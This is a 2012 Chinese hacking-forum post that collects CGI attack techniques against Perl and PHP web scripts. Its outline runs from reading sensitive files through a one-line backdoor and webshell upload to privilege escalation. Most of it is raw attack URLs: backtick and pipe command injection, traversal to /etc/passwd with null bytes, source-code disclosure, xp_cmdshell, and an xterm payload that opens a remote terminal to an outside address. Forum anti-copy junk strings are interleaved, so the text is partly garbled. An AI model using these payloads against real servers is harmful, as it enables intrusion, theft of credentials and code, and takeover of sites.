找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3077|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  + u, Q9 W7 N2 d9 I5 I( K- d% R3 r3 g
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
6 k4 z! B9 M. C# y感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
8 p3 y9 `  B: t6 I注“  5 ~0 i& M1 P' q
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
, [: f% z! F# M# l! y) }以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  / N# B+ b1 h( ]" g

) a& R5 z1 v& F6 w$ S' j( H" w/ Lhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
% }1 E0 u+ h8 T+ @4 Ahttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
9 o6 P" Y9 _* ?http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  & d+ b& L7 ^: r5 I5 q/ b
http://target.com/cgi-bin/home/news/sub.pl?`id`  
" V3 a% z, ]4 P" B$ L7 X& jhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
0 l- M2 r' Q9 v: c! o' R$ q& }http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  & C: [' V1 b4 a1 j9 K) O7 G2 F  `
- i7 H: n& b9 {8 C8 B: G( V0 f. h; _; r% k
http://target.com/test.pl;ls|  3 y9 y. t# k; c4 N& T8 J% I
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
1 r% T$ j) t2 w; Z3 x$ r3 @# ~http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  / J) W+ Q" s& f. v
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  + U3 Z- o/ e4 D. |% b$ X
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
  ^& R$ B3 W6 [2 y! fhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
0 U# ?) i! r: t  e- m0 @
" |3 C- v" Q5 u) Hhttp://target.com/test.pl?&........ /../../etc/passwd  
; c: z. S3 s& ^2 ?5 w+ c6 j' M; r/ z4 h$ i6 Y0 D2 E
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  % B0 x6 ]$ y3 b# ~) O
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  9 d, f7 E- _/ A9 \+ W
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00    A$ Q% G2 r0 ^
$ I5 ~: U7 }( {
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
1 k5 Z7 _0 G; N# xhttp://www.target.org/show.php?f ... ng/admin/global.php  
( a. k2 B+ }2 {  g- D0 J" ^4 T4 n+ I5 j1 _
emm和ps的一句话
: K, C4 e) l: v- q' I+ t8 e* F% W! z2 Z5 ?& }1 O' e
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
& d5 L1 b! c3 p7 I. }, D  s9 o. t+ n
>bbb%20|  
* T9 Q% }- h9 v( R  a
+ u+ S4 R2 A# y+ O; Y( ?; A2 Uhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
% i' N7 X) V- p( `& Z5 q1 I# p/ f! l3 S
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  " P8 l8 k+ q$ a! _6 I: s# P4 X0 e
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  $ C0 R0 ?; N' j# u

. @3 l( s5 r0 N: m相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
6 G$ S; o+ p- J8 I0 Phttp://target.com/index.html#cmd.exe  
7 J6 ?  @: q6 o. f" R  C5 Lhttp://target.com/index.html?dummyparam=xp_cmdshell  
3 `3 C$ k/ U9 x% Z. c! Glynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
& C3 {# c# K$ {, n3 S; M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表